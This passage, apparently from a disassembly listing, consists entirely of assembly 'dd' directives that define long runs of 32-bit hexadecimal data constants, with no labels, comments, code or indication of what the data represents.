		dd 0D290801Eh, 4C001539h, 3F3D7159h, 0A3BE0Fh, 8D8A93C8h
		dd 7F4F065Ah, 0F2003890h, 244E89C1h, 7BC80B0Dh,	0DC1D00F1h
		dd 77A9CE47h, 1000E09Bh, 2D5E8DFh, 0AEC709h, 0D74790C5h
		dd 0EB89E3B0h, 946139h,	2CB54D5Ch, 1DF0910Eh, 80EA97BDh
		dd 604F5340h, 0D900AF94h, 0B57B6F0Bh, 70A0919Eh, 0B005609Ah
		dd 0A4E15E9Bh, 336A500h, 8DBAD9E3h, 37620079h, 9F6BF238h
		dd 3D00A29Ah, 0A7B196E5h, 5C4EE952h, 14018E17h,	71082537h
		dd 0F218F083h, 2619E600h, 0BDB36EDDh, 1E2BB87Ch, 4B4D5029h
		dd 551C7Bh, 4A253AB6h, 0ECCE508Eh, 0B4525735h, 0E63DDA03h
		dd 381EFA50h, 0FB1DAAC1h, 8C009BDEh, 747356A8h,	14C53021h
		dd 13B98440h, 3ED51B01h, 0BE559B93h, 7B519E0h, 0B3C887FFh
		dd 35C03F72h, 0C560D1DEh, 5E7AEE00h, 43782399h,	3C89763Fh
		dd 0F00D8AEh, 600A622Eh, 400EBABh, 577FC884h, 18016E3Fh
		dd 0D8B040F1h, 0DAEE3B35h, 0E472D500h, 75FE8ABDh, 6F0100E8h
		dd 0EC8433E5h, 0B7004340h, 5F4CE3A7h, 0E0A0EBh,	947F58CCh
		dd 24DD9C44h, 1213341Ch, 0DBA60B00h, 387D82h, 16F90652h
		dd 0D7405A33h, 0F098F450h, 2F00A8FAh, 6C1056F1h, 0A8AC79A0h
		dd 4813E880h, 8E003F18h, 0FBD569Ah, 52127BE2h, 8009E17h
		dd 8071F9AAh, 86ED0045h, 0FD6E734Ch, 0F500F4CBh, 55B2BB93h
		dd 0C0FE6782h, 74C2B131h, 6EC214Bh, 11D0CD00h, 0D6F2400Ch
		dd 816F0A92h, 2E084C9h,	42ECB53h, 7AADB560h, 15472400h
		dd 7F2AB6C8h, 85E45Ch, 9CCF414Dh, 5BF95689h, 0B9A8ECA3h
		dd 0C7005A9Fh, 0B4DB1C32h, 2EA91452h, 0F004D9h,	0E0D36138h
		dd 0F102E8B7h, 19F4EB6Ch, 6BC8C027h, 9352093Fh,	64001D12h
		dd 0CDC08D45h, 40FF171Eh, 181CE78Ch, 793E0EB1h,	27812E03h
		dd 40771EB0h, 98241B98h, 6766720Fh, 2C31A076h, 7DFB42Bh
		dd 1195A569h, 0D11660A9h, 1D006D1Ah, 94CF36Bh, 6E9025C0h
		dd 0BA40C0F9h
		dd 3E477886h, 3D738507h, 7D007F83h, 1C25A79h, 14D9E603h
		dd 40B08225h, 5E3307ABh, 17A5A000h, 0F4A837C3h,	0C09C0032h
		dd 0D2B50911h, 87017885h, 1747457Eh, 0D3C0CC02h, 67590018h
		dd 0FADC5199h, 26000B40h, 4F83941h, 34FB08Dh, 0E93D0AB5h
		dd 7980D132h, 6607E8EDh, 0DEA81224h, 413A9C70h,	0D81400A1h
		dd 0AE8DA027h, 0D100FEEBh, 406F0411h, 1395878h,	3EE49B05h
		dd 0D0877945h, 0AD3A5B41h, 84B6005Eh, 4CB9EC95h, 473F5h
		dd 98489747h, 547A380Eh, 641E9900h, 0C6D8D5F2h,	83FE24CCh
		dd 80061E10h, 32093812h, 0A93B0A6Ch, 0BD72818Fh, 9BF87490h
		dd 86DC30h, 0FF33CA9Dh,	0A7D2054Dh, 0FC888900h,	74010B29h
		dd 519B0095h, 0DB1D0FBAh, 149AEF38h, 5C9C9207h,	7E001E8Dh
		dd 0E659CBh, 5B9A6778h,	34C97CC6h, 0E8EFB530h, 3B551849h
		dd 0F800F6A1h, 2C28F70Bh, 0B72EA7C5h, 8506F84Eh, 720A2ACh
		dd 1AF0D02Ah, 0A3F450E1h, 0B212D2FCh, 20402E2Fh, 21C3A220h
		dd 0BEA807F7h, 10F29C58h, 1E05347Eh, 403149h, 0D4616AE0h
		dd 0E20CA7D8h, 0E5B0098Ch, 1C80BFDDh, 960B1A31h, 28BD48h
		dd 9236F7C6h, 2733D3h, 0AEA05BD6h, 0B348AD61h, 0F373E306h
		dd 4583982h, 0EDC37C95h, 100D088h, 0BE1E0A14h, 2383A817h
		dd 0C840BF55h, 0ECD0EC7Fh, 0CD6800F7h, 16E6C803h, 67984B46h
		dd 26FE3400h, 808D86D4h, 0CE83CCFh, 2548DF82h, 0F487564Ch
		dd 0C12E21EFh, 70C8ED66h, 60005235h, 6F2B6321h,	765D8D4Dh
		dd 63900FAh, 0DA207BFDh, 6800425Bh, 38F86ABCh, 7583DCB9h
		dd 7C5C0771h, 80F0B103h, 6EA5F18Ch, 7239C307h, 0F8C0A0ADh
		dd 940FA1h, 92B652C6h, 18372BDFh, 0A71A4705h, 1980447Ch
		dd 0B1E1A6h, 0D061371h,	0C9376B2Eh, 4B903FF2h, 67790C76h
		dd 78F69C00h, 0F51D15AFh, 33140A19h, 409426EAh,	0FE50B4D4h
		dd 78E16800h, 2245645Bh, 1E1E7B92h, 806FB89Bh, 4FEE7C38h
		dd 4101D7ACh, 0C971448Dh, 49E0363Fh, 7D5C1D51h,	3EF600C4h
		dd 7C161F30h, 1E6C1100h, 0F04BF402h, 0BF4901F1h, 129B5DB7h
		dd 9C9060F6h, 0DD067C01h, 1E6FEC61h, 1F1120D0h,	80BC5890h
		dd 1A32DEA3h, 984497D5h, 0A66C38B9h, 0B3F7EE00h, 330517EAh
		dd 0C2011577h, 520E8D4Ah, 0A98003C4h, 0C04C278Eh, 0D500A80Fh
		dd 4E258443h, 0F7E3DDBh, 1A758E6h, 0DF3BDD07h, 7CB35403h
		dd 31EF0C0h, 707ADE24h,	8006F786h, 77190F81h, 0F69C95Ah
		dd 3AE26D8Fh, 108772F7h, 11CAA03h, 57A009FDh, 430886EFh
		dd 0F0180D55h, 4EF831h,	40CA72C6h, 18797414h, 7AB43D0Eh
		dd 0B51D00EBh, 0C0A52Eh, 0DD45AB47h, 0B6BB94F1h, 5598DE00h
		dd 93D4676Eh, 28030031h, 7C19DCB3h, 0E7010677h,	0FCF6819Ch
		dd 88BC0715h, 3D15A07h,	9031451Fh, 0ECD3CD54h, 77A96E60h
		dd 9CE974h, 56CCBCA5h, 7F81BA1Fh, 60682B78h, 0B40F1C78h
		dd 320FD40h, 0E8D1529Eh, 0E5A04A36h, 14A0BA94h,	0D800BE1Ch
		dd 0ABF1167Eh, 0FE119F4Ah, 1CC9F8F3h, 7B614B05h, 74AAE680h
		dd 81707918h, 230C3B00h, 5E02B758h, 0E6AE0025h,	0CD6FA4A9h
		dd 1503B2F7h, 18D08312h, 0B66CF130h, 0DB88D0h, 0AA61F4Fh
		dd 8B865427h, 2246A800h, 8A286176h, 0A91200D6h,	53772B29h
		dd 700E8816h, 0E0E0814Ah, 3BFCD73h, 2D220609h, 0C1388E11h
		dd 0B4D1E1Ch, 9E984642h, 0F980D540h, 28D4D588h,	91CD1F00h
		dd 45B480F6h, 88175095h, 3A8F30BBh, 7909BD41h, 9EC33F00h
		dd 26D120F6h, 948B002Ah, 66F72DADh, 0B512BBD0h,	3AE8199h
		dd 0B4A2FA46h, 2FDF3E88h, 0BDC1A904h, 28807DF1h, 185E8610h
		dd 61268F5Fh, 0E3E8A3CBh, 0EC53F401h, 0C07FEA66h, 8461A6D1h
		dd 891F4840h, 0E42E0205h, 85B2764Ah, 0BDEC5048h, 0EE00F77Ah
		dd 0A9BC1757h, 64B3756Bh, 0EA219Ah, 255F8A73h, 301AEAB2h
		dd 3793B8Fh, 0BB00D9F2h, 4E576DCDh, 65E8E6h, 94247BF6h
		dd 36210584h, 0FF26850Eh, 811681A6h, 34247D3Ch,	0EC6EEDDh
		dd 7A37C7D3h, 0F9A6ED60h, 86E8A35Ah, 5CE91D0Eh,	33E2A176h
		dd 0F02A64F4h, 0D600E443h, 6C06F516h, 1F858A97h, 803F35D7h
		dd 0AE75EEEAh, 0F37A6465h, 11EBE037h, 8F30F490h, 0B6C1029Bh
		dd 295F07CAh, 3CC0948Eh, 0BE48E574h, 93A88F00h,	1C22D5FBh
		dd 6AF51FFAh, 2CE44084h, 0EB6810B9h, 0FC01E1F8h, 7813A175h
		dd 503035B1h, 0DA9F00A8h, 6EA412Eh, 5200C9CDh, 0C17C4549h
		dd 78F21AD7h, 0AB95005Ah, 862BE5BCh, 0F167BDFh,	3040C913h
		dd 15071637h, 90FB39E7h, 0EF4C5307h, 0AF170176h, 743460BFh
		dd 68E43800h, 5F0B586Fh, 85860B55h, 0EF83C7F7h,	61F0462Fh
		dd 0AC00AA1Fh, 0A079760Fh, 7455D89h, 0A3E94016h, 0E44F104Ch
		dd 145B5BC6h, 0D3003BFCh, 666B453Fh, 96184BB2h,	0D5486142h
		dd 504CFE70h, 48978C9Eh, 0D0744D2h, 0DEF071h, 9483606Ah
		dd 74D3074Ch, 0CDF8213h, 0F88AB10h, 205F2E09h, 4BD771CEh
		dd 0E8195147h, 7680C4h,	77EB8A84h, 0A40391A6h, 424BB800h
		dd 9BF56864h, 0FEC600DAh, 47D7B4EFh, 8400DF4Ch,	61A1C7CFh
		dd 2CBA464Dh, 316163C5h, 30D893A8h, 11C0215Dh, 31070DB0h
		dd 0C0B033Ch, 32ECEA72h, 1F25E9C8h, 0C11D0400h,	4A1A3039h
		dd 0E2580055h, 4575D4B8h, 360060F7h, 5DC9803Ch,	2EF5EAh
		dd 1FDDE350h, 445F6FFEh, 0EBEF7C00h, 799025C1h,	5BD83739h
		dd 286ED0E0h, 0CA0A1BACh, 0B0C6667Ah, 58CB5C0Dh, 121EEE0h
		dd 37F2E53Eh, 241EEC8Ah, 1649AC38h, 99DC0F2Ch, 5F51298Ch
		dd 1BCC1600h, 8B0096FCh, 48832BA0h, 0B4D68DF1h,	804D1CCBh
		dd 0C7D14325h, 0C0037A60h, 50F89D9Eh, 0CF7D8819h, 61280029h
		dd 0A1A8BC5Ch, 5FE68889h, 160014F0h, 0B664A01h,	3EE7B0A6h
		dd 2B8E1C80h, 7B014CF5h, 803E8CAAh, 70C891A1h, 4A560Dh
		dd 4477D6E6h, 0FF616981h, 911BD0A0h, 0D90E8A0h,	54C1F51Ch
		dd 0DC180100h, 30896C7Fh, 8D48B056h, 6AFEEBAAh,	0C3986650h
		dd 74000891h, 9AC8076h,	3EF20308h, 18F7E54Dh, 86838100h
		dd 0FB163D2Bh, 0E884006Fh, 0AE224B4Fh, 33E225E2h, 0F1C5EE1Ch
		dd 6480C464h, 1C124599h, 59890095h, 36C2A16Eh, 0DF008D14h
		dd 56A87BEBh, 1BF6D2h, 0F0E30597h, 0C193B2DBh, 2C040C03h
		dd 0CA6F7189h, 0A72A40D2h, 69380033h, 0C306A97Ch, 76006224h
		dd 7E0C9EADh, 1D8B1886h, 806C1E05h, 0BD7D70A7h,	8A00FEF0h
		dd 0ED7C11A0h, 0E59926h, 2A498C3h, 0E2783366h, 0F8BEAF01h
		dd 0A3C2150Eh, 1E551880h, 7E1644C5h, 14C83600h,	0E4FA8E86h
		dd 0F4C73F9h, 0D8CDB1EDh, 20379C41h, 0F7E07EB7h, 8A3E3F7Ch
		dd 0C46B6480h, 72DB404Bh, 736DD700h, 0D9CE8783h, 0AE98006Ch
		dd 24A7AF6h, 54009BBEh,	4F348C06h, 3A1F7Eh, 0D76E0AD3h
		dd 4BB3B94Ah, 3C9C3E00h, 0BCFF8F5Bh, 51F0E68h, 2620A8B5h
		dd 355A4B41h, 0BBCC9118h, 7C54D94h, 50F01AE0h, 9E45B0A0h
		dd 9703DCDFh, 0A25E6308h, 0E9DBD83Ch, 13020338h, 0CFEE9D16h
		dd 6B975D88h, 15E40A00h, 0CE6F554Bh, 0FB001DBh,	2FB9BC9Ch
		dd 8C0BF48Ah, 48824905h, 6BC0E91Ah, 0CB9967h, 1BEAA4E2h
		dd 836DDFF3h, 1EC08C00h, 0E78069Ch, 0BF0C0C6h, 55622C9Fh
		dd 2B98E500h, 0FD779BADh, 0CAFE0CBCh, 1510ACF0h, 40AE921Fh
		dd 0C11A880h, 9C39429h,	72E3492Eh, 3DA7B080h, 2018FC7h
		dd 0AD7F7670h, 60807D3Fh, 494E2CB4h, 0A828ECE1h, 0DA03904Ch
		dd 62EF5913h, 72DA891h
		dd 0F65E0065h, 11E0E38Eh, 8C3D6012h, 1C9F0085h,	0B71F44D2h
		dd 3B540A2Eh, 9B0D53h, 15849D73h, 0F11E8949h, 0CC807D7Fh
		dd 4185D1B6h, 375D03BDh, 87930DE5h, 311A9690h, 0E156ED00h
		dd 27612AF7h, 8B6B1C78h, 776000C5h, 0D0E5404Fh,	0E4128F00h
		dd 0D8EB6F63h, 79E602B6h, 0E88A82CDh, 0EE26AC80h, 32000F56h
		dd 1BA12441h, 0E0CC51h,	25D3ACBCh, 262A246h, 8A0BFB00h
		dd 2C22DBA1h, 0F0132409h, 0F8803E1Ch, 7CFC4C2Ah, 0DCF7A028h
		dd 91002921h, 61D79D8Fh, 0CD8F41Bh, 7046EDD0h, 0F9028739h
		dd 7EC5AB28h, 0FBD0804Eh, 3E2ADF56h, 0BF001676h, 397C6730h
		dd 0B7395A6Bh, 0F81E0006h, 53821203h, 6AB30032h, 19EE803Bh
		dd 2E001649h, 213DAC77h, 1EF73190h, 80B41F9Bh, 67BED2Ah
		dd 0C807C45Ah, 381D73C5h, 41D92DD0h, 6C270509h,	0C0E61FD8h
		dd 89DB92Dh, 95FC6400h,	6A5620EDh, 0F5BCA009h, 8B5D0781h
		dd 80DC226Fh, 4AAD429Bh, 47FC3B00h, 0E8C7C8AAh,	743E0443h
		dd 80F57C06h, 3B05B148h, 47529C01h, 0E04C28B8h,	0C04D8D70h
		dd 0D2E55F10h, 0EC004192h, 8375AE82h, 0F07DE67h, 6E5EDD79h
		dd 0EBD05260h, 5C00E17Dh, 3260F888h, 0FF713E6h,	7995638Fh
		dd 0F5320F12h, 0E897700h, 2D06C137h, 0B45A776h,	35C91288h
		dd 6C9040F9h, 6E476669h, 0BC747974h, 0CCC44414h, 0AC780010h
		dd 6D19245h, 0E8907C8Eh, 9D2D20A2h, 8FC920F1h, 3C8ACA03h
		dd 0C83D4957h, 0AD0B31h, 5BA8BF79h, 0C223616Fh,	0FDA4E701h
		dd 9695DFC3h, 0CFC9388Ah, 0B3A80634h, 490EA141h, 9495A63Eh
		dd 6EC00108h, 0F4469178h, 7641B085h, 0BB6801B9h, 5834D90Fh
		dd 0CD03C374h, 6F75E7F9h, 0E547D8A1h, 98BEF8FDh, 2D5800AEh
		dd 7AB3D5Fh, 7B00EA18h,	34160A05h, 0D30226h, 0DE94A6F3h
		dd 0D76A6342h, 4AAEC00h, 27597DBh, 95E000C4h, 0F10CF9FEh
		dd 7C00A348h, 5C8F5FE8h, 3AF1BF8h, 0CCC85978h, 0A1B8AA9Ah
		dd 0DE3D1EA8h, 0EF5B808Ah, 0F7BE26DAh, 5F9B1EBAh, 0FEE5017Ah
		dd 0D4CAECDEh, 0D3037C88h, 7FE3EDF6h, 70EB9831h, 0AEE65Dh
		dd 0EF080A07h, 59DF45A3h, 309CCB05h, 0A41C798Eh, 22E309C0h
		dd 5E80E2h, 0DF376A8Ah,	5CA2EE1Eh, 366CA400h, 8BA71FEAh
		dd 101EA16h, 74079385h,	80EE196Eh, 63730611h, 35579CAh
		dd 0D2536081h, 82F8F33Fh, 2C1D7C45h, 87C02E04h,	783AF8Bh
		dd 489B0727h, 0B09CB2B8h, 0EE4D365Fh, 70B6DD00h, 6790D2B5h
		dd 9AE6F691h, 7E9909A4h, 0A40FD5D9h, 191DF7A6h,	9E2A6FA0h
		dd 4DBED400h, 0DDA3DE7Eh, 516D1D70h, 0DFF64F5Fh, 1F3247C0h
		dd 0CB003380h, 10404296h, 0BD9F48h, 0AA2DC6DCh,	0D3A6139Eh
		dd 0BC037F90h, 9C674F50h, 8573A00Dh, 8780703h, 12209102h
		dd 4C3B2D6h, 0FCE7A5B0h, 0AF037DB0h, 81C907Bh, 0EA9018F3h
		dd 0C3BA6168h, 0F1F0B901h, 0E5C9156Ch, 1A3848FEh, 1A0D70B4h
		dd 0D154FE25h, 99AE8A60h, 58156B00h, 0B449F25Fh, 5EE294h
		dd 0EEE865A6h, 1BE602AAh, 0F8413116h, 0D0F52C43h, 47B0C8B8h
		dd 30B10038h, 403B6CC2h, 773D3FF8h, 4FEF0065h, 1F8F3E5Ch
		dd 13FA0007h, 3CFE86A5h, 0F23CB2D9h, 772C87FFh,	10003DECh
		dd 0D81B7Bh, 0E9573A70h, 0AF23A2ACh, 0D8C12830h, 58A8B9h
		dd 0C240838Ah, 4E29CED5h, 382C0B00h, 0A2451755h, 0E8DF00DDh
		dd 0A7F0FB2Dh, 0BDFBFF5Fh, 0C4C39DE9h, 0D2A644C5h, 911A8420h
		dd 0A070A5h, 906DECACh,	12362452h, 3BBA3A03h, 9068DC42h
		dd 78ACDh, 5B25F3F5h, 0FEC15F57h, 1D94940h, 4AA334B8h
		dd 0E8F38628h, 0B22C8488h, 3200F517h, 1648E1EBh, 8D8101D1h
		dd 8E04DBFEh, 0B642C0A6h, 0D0B9B400h, 593AAF2Dh, 0A73118ABh
		dd 0AE5611D6h, 5CC22400h, 0E1475FE6h, 59D00067h, 0E22FCBB2h
		dd 0F614501Bh, 11F4BAC7h, 18029AF7h, 4B485860h,	1DB81C48h
		dd 0A7671CC0h, 2CB5325h, 0D318402Ch, 0B4E08B80h, 0BF2E93F8h
		dd 0CA0AD656h, 0C28D276h, 0BD00B376h, 0D70B36D5h, 0B042F641h
		dd 78C10740h, 80741B2Ch, 57D5E44Fh, 925DB2E8h, 0F2CA1CDCh
		dd 0BED97F80h, 0BAC9764Ch, 600B00F0h, 7015372Ch, 62E4641Eh
		dd 46329E0Fh, 38AD00A6h, 7CFD3A76h, 0ED451CD5h,	7AAF0079h
		dd 618E77A8h, 0FE639600h, 0C5A327E3h, 7AE7718Fh, 8DF6025Eh
		dd 0B0727EAEh, 1982CB80h, 92076625h, 10E261CCh,	1448756h
		dd 0BFA135C4h, 0FCBB4D91h, 6A0FC0D1h, 0E0D2B6B2h, 9EB9E830h
		dd 718B4C78h, 0E773D70Eh, 55440017h, 975C9A4h, 98157F00h
		dd 0E93FD17h, 0D970024h, 0A32B6990h, 4001202Ah,	29ECEBEDh
		dd 46D0CC9Fh, 74180042h, 0DDC36ECFh, 0D4A008C5h, 0E01DB572h
		dd 0BECC4E38h, 60AF0D6h, 924220FAh, 2571880Dh, 0A64D8817h
		dd 0A582C01Ch, 0C05F6B07h, 9BDCB0h, 9AFD21AAh, 2C3AE63Fh
		dd 0A3B8851Ch, 5F6C7600h, 19E3C6F5h, 40DF6E4Ch,	0C5D2DCFDh
		dd 2F800150h, 37F89A00h, 46E73DDh, 82ED0077h, 7F6F81AAh
		dd 4160935Dh, 5389F439h, 34F2001Ch, 756E9A8Bh, 3D1EC21Dh
		dd 80FE78B4h, 851364EAh, 76DA08h, 0B3189AAAh, 944D482Ah
		dd 4A366900h, 893D7FFFh, 43D3002Ch, 0B713F226h,	0B53B225Dh
		dd 24F0D838h, 0E8099B7Fh, 0E434A07Ch, 3928D9BDh, 722447B7h
		dd 21243DB4h, 732F825Ch, 94503181h, 0E7CA7003h,	0A84548D9h
		dd 4DB254B1h, 52000062h, 0D37FF1DAh, 2AFE585Eh,	0BD18C461h
		dd 0ED70FD9Ah, 4AA700CCh, 49E0B25Ah, 0D34A231Dh, 0A425C800h
		dd 0C0B5E13h, 951A421Eh, 3A004919h, 0FF82CA71h,	0E87236BDh
		dd 69DE1EFDh, 0A0260991h, 7A975C80h, 19094809h,	34D4B4Ch
		dd 0A8139B4Ch, 24685B29h, 92DCAE0Fh, 9208304Fh,	7900EE39h
		dd 551E2F65h, 1D19CCD7h, 40301305h, 1F929E87h, 0C900297Ah
		dd 46119C22h, 95D7BAh, 60CEAA4Eh, 16541DD8h, 509FF23Dh
		dd 30180F8h, 3EA47E11h,	30203B1Eh, 52963AD1h, 0A13C2100h
		dd 23B16EFBh, 94B5BB07h, 4C201708h, 0AA7002h, 0FEA0F245h
		dd 0BE812FD3h, 6F03F00h, 768C423Ch, 83130084h, 30B04404h
		dd 0E00EBD6h, 0FCF364F4h, 0F5DD9F11h, 1DDFD0h, 823763C1h
		dd 4417A981h, 6B84307h,	0F557EBD9h, 5239EFD2h, 0B609244h
		dd 15C84C0Dh, 55CE7021h, 0F49420E2h, 3A684903h,	0C1CBA593h
		dd 0F0F0F8D2h, 45EB3F0Bh, 0B879E182h, 0EDE0B253h, 8097ED3Ah
		dd 0B129EFF1h, 39020099h, 2FEA0ECFh, 3E073DACh,	0F9236B4h
		dd 0E829B890h, 348A0082h, 68177F67h, 520418CDh,	0D4E17680h
		dd 20B4F184h, 92E90FD6h, 5903C515h, 40D03282h, 9FF0C70Bh
		dd 3ACA8D00h, 0A567DA22h, 0F9A2133Eh, 422300A0h, 0AA198A4Ch
		dd 0C521C800h, 0B9534922h, 0F71E00B2h, 7BA6A7D8h, 5BE87AB8h
		dd 0F6333C06h, 12B0AD99h, 810E6F47h, 0F0ED9ADCh, 0C90036B8h
		dd 3346D3F2h, 0BC7524Bh, 40E8F7C0h, 0C54ECA00h,	0CE02CDB2h
		dd 44655942h, 0DF2C433Ah, 4A434B81h, 4AF8C3E0h,	92B4041Ch
		dd 71F620CAh, 28E00AAh,	0D977BF79h, 0AE290DEh, 0F66F870h
		dd 0B2208889h, 5DE70310h, 3DE5A16Fh, 51B88DA0h,	6D1F18DEh
		dd 6BBF9C00h, 11C4B59h,	38D132C9h, 2036525Fh, 0F8F62235h
		dd 2C083A28h, 0B96B0407h, 32C085FBh, 0A1664Eh, 0DAFE90BBh
		dd 6C19695h, 0F9CFC30Eh, 0A8D5C034h, 9036E5h, 458B6294h
		dd 0BB663170h, 405D6E14h, 358E1B58h, 0BE07C4D0h, 0C10A4017h
		dd 6660EA2Bh, 0F09FBC9h, 79796Ch, 0F16E0E47h, 2F56F423h
		dd 92CE7F00h, 6406CFEDh
		dd 0CC7C43h, 1583E35Dh,	4DF998D5h, 616BD100h, 0AB02C4A7h
		dd 54D8008Bh, 3D1AF34Ah, 2F0044C8h, 0D21CD5D7h,	3BDBCAFh
		dd 0DC5B1EC5h, 5698FA20h, 0CF006475h, 0AC6C3AB3h, 3CE00EA9h
		dd 3E0B9C08h, 14006FB2h, 814AC8D8h, 6069DF00h, 0A78794BDh
		dd 8F0C0234h, 0F833997Ah, 35D5E4A0h, 6E034003h,	760F6601h
		dd 0E1083039h, 30DB621h, 0B1AE2800h, 0BBF4D9CBh, 0CEF21E9Dh
		dd 0F0CC0F9h, 1294C164h, 381C433Ch, 6058A6E4h, 4E6AA80h
		dd 0F80DF196h, 809096F8h, 8C6AD2A9h, 0EA3A313Bh, 2018E046h
		dd 0A40DBD49h, 0A81A00B4h, 5A4C93CEh, 54300F2Ch, 0EFDD082Ah
		dd 8D0B1C48h, 0F6148035h, 4D9CA5C3h, 42E5431Dh,	252FD503h
		dd 0D32900CDh, 0B2AC9F60h, 24304FC1h, 0C07919E2h, 0AED10792h
		dd 0F00E63F0h, 0BE24F2CFh, 4D076B00h, 51491AE2h, 72023815h
		dd 1EE8903h, 4107CF23h,	0AA8D4CB3h, 50225235h, 348E20DBh
		dd 7A073B8Dh, 0FC678AAFh, 0C9F4BFC1h, 3D868883h, 0A8015671h
		dd 5D0A4841h, 108738F5h, 268860h, 28C80ED9h, 74DEEB1Dh
		dd 616E3BC0h, 0A0FF6Ah,	697249A8h, 0B111B7F4h, 84303500h
		dd 0E1C7893Ch, 7CE00C4h, 837DB43h, 1448C3F1h, 0AD8D000Fh
		dd 0B5C72D3Bh, 1808CC2Bh, 1503F621h, 88237DB2h,	0E734C30Fh
		dd 0C95605Eh, 778C4EBh,	513C89ABh, 41618CEEh, 0B240048Ch
		dd 622BAD8Bh, 17F42019h, 0D2116EB2h, 0EF0E02D0h, 0F500A759h
		dd 808B76BFh, 0E0B9523Ch, 859EB514h, 8E620610h,	796144CFh
		dd 50673C30h, 1B874ADh,	0CE094EBAh, 9A293944h, 1D713420h
		dd 821D1180h, 0E0784C0Ch, 0E0D647Ch, 0CE21B884h, 2926D8A6h
		dd 7F318A00h, 3FE25D9Bh, 847B9Ch, 6247753Eh, 0FEC48FDAh
		dd 312C220Ch, 753390F4h, 0E9A9C679h, 1400A1BDh,	7780B66Bh
		dd 51B4DC7h, 3B9F6AFDh,	56B20320h, 2BD099EEh, 4E0629DDh
		dd 34C96F1h, 28340080h,	70D30256h, 85EEA775h, 4084D66h
		dd 5E470021h, 1569F702h, 9C0D0D44h, 481B09EFh, 1D95888h
		dd 0DAB16B00h, 7E97DF38h, 669100DEh, 5A8F361Ah,	0B40F422Eh
		dd 0FC313023h, 0C19E8B80h, 76BFF20h, 8F151ED2h,	0D9807FD6h
		dd 271957B8h, 18F65000h, 4AFB7CBEh, 6FCE1F2Eh, 0DEFF0056h
		dd 0EC5B6288h, 6383A0CFh, 98F87E2Bh, 48FCA6h, 7FB72684h
		dd 33B13D93h, 87033B3Fh, 1F22D579h, 89444050h, 31180728h
		dd 17E60Eh, 8514ABB4h, 96F5F200h, 2676AEE3h, 41F700A6h
		dd 2A197142h, 99002B75h, 0E1C95FF2h, 0EF18D84h,	2931A0FAh
		dd 62219860h, 0EF7B5594h, 1A00EC7Eh, 9D868487h,	30E8744Ah
		dd 44283FCCh, 32002DBEh, 0DAD7376h, 33D8729h, 5F86C615h
		dd 0A0CF471Fh, 0CA48826Ah, 50E1993Ch, 0BA20251Ch, 5B430046h
		dd 0A36D4E2Eh, 9B0021F0h, 0B57B11ACh, 0CBAEBA31h, 0FB0F2930h
		dd 0BD55B961h, 0D5F0FCC7h, 2C3D3Eh, 0ADBA49A7h,	7D6BC648h
		dd 3C2BF646h, 6600F740h, 0BE267280h, 0AE30EE9Ch, 398A814Dh
		dd 0E20803D9h, 0F43FDF13h, 4E856BB0h, 0A0A45500h, 5142FD5Fh
		dd 95D71CB8h, 89AFDB31h, 8F2C58D6h, 14070D35h, 33BF2877h
		dd 0AFB79A0Fh, 44D507C7h, 0D7CBE741h, 0A197E0h,	31E23EA8h
		dd 754C6295h, 8380E03Fh, 7F6B353Bh, 879BA00Ch, 0D96D0551h
		dd 0C599A12h, 0B0972A2h, 45B121C0h, 0B41BD9h, 0CE3CE519h
		dd 8E5DF0B7h, 24F11C40h, 305A8D95h, 0C1B02F31h,	90B3A001h
		dd 5BAFAF2h, 3B1299Eh, 3971CAA5h, 0DC8150F1h, 9D6FCD7Eh
		dd 0A798A00Ah, 0CE2EBA66h, 0C500AB31h, 0E4F49350h, 0DA8C000h
		dd 6851564h, 0A7990191h, 0F8E2C21Ch, 17800583h,	5455F4h
		dd 0D053F343h, 0EF94276Bh, 14A87B18h, 3B314FA1h, 9C28573Ah
		dd 0DC2F00FCh, 1F55C707h, 0F060068Eh, 37901229h, 42F10C01h
		dd 67E189E2h, 5EDE2000h, 0A7392408h, 8CC66EFh, 46002153h
		dd 889DE38h, 4CDDCE71h,	0BF0E28B3h, 0D9989FB1h,	0F0005835h
		dd 7FCCACB5h, 189A7B0Eh, 211EB9F5h, 0CA005D55h,	639798C4h
		dd 0CC67B00Dh, 77213608h, 0FCCA7400h, 932514B8h, 56A70630h
		dd 618FA6F0h, 0FDD8E1Bh, 8798E2C9h, 2381613Ch, 11809AFDh
		dd 684C14BBh, 6D0CF603h, 8432419h, 5921C098h, 10384CF9h
		dd 0E2D18400h, 0CBB90560h, 0E50A038Ch, 0E81910Ch, 0F4037008h
		dd 46302830h, 0D96C0250h, 1C819A13h, 0D9071898h, 0A1DDFC15h
		dd 8EE61D60h, 217F6108h, 8088F811h, 827BAA91h, 1C750E2Bh
		dd 0F2B40Fh, 2530D61Ah,	843CED94h, 623960A8h, 39D0FBCh
		dd 7C3E58D4h, 7BE0DB8Dh, 843D9521h, 82FA9BE2h, 4074C259h
		dd 0F2C8FB4h, 8B301181h, 8A0C1AC2h, 120FECA0h, 63649F98h
		dd 6B6069E0h, 9A1014D9h, 78C8C729h, 2043B38Ch, 4E3052Dh
		dd 432F975Dh, 4F241AC8h, 7DA86118h, 0D6B931h, 0B40D4711h
		dd 5FBC2BA4h, 9E6CA707h, 9AE072FBh, 302783F1h, 0DD4918B9h
		dd 3700E340h, 0BEFDBFB1h, 0C0DF8E08h, 1AC48759h, 1300CA3Eh
		dd 6D4602E4h, 89F305h, 84CBB88Eh, 5D251A0Eh, 0BA2731C3h
		dd 0E597034h, 501C304Bh, 0A6122660h, 0F312D018h, 8C0880FBh
		dd 0DEC7C047h, 1C46085Dh, 45005B22h, 23BBDE3Fh,	5353989Eh
		dd 7DA2A413h, 50551B31h, 0AB4AEC80h, 85EC3033h,	94452E69h
		dd 0FF2C2FE4h, 4E03CD2Dh, 236BE11Dh, 6A017670h,	919A0DD9h
		dd 0C8804C23h, 3AE4D942h, 0AC7B6F1Ch, 7410DED2h, 0C8A98CACh
		dd 0B011002Fh, 0BB6825C3h, 70305E8Eh, 84E4A130h, 0C43CA512h
		dd 0AAD3677Dh, 708B1Ah,	0B4947C71h, 34BB5B10h, 3E46E490h
		dd 714C1302h, 9F31FE03h, 4C1C4010h, 86D85700h, 0D028231h
		dd 7BEE06ACh, 0B1A1F020h, 10533507h, 0F08A324Fh, 584E4674h
		dd 0FC3003BAh, 88BF7D3Bh, 0C063A7D0h, 93B1BBD9h, 6A0080E8h
		dd 16EAA611h, 4BCE2E6h,	56C6B918h, 2254D8CDh, 4CF7058Ch
		dd 281E036Dh, 202C6470h, 5100CA4Ch, 0DD6C99F3h,	829C01CBh
		dd 0D5C17CC7h, 195DD0FFh, 25AFFC0Eh, 0C31098E2h, 395FE6Ch
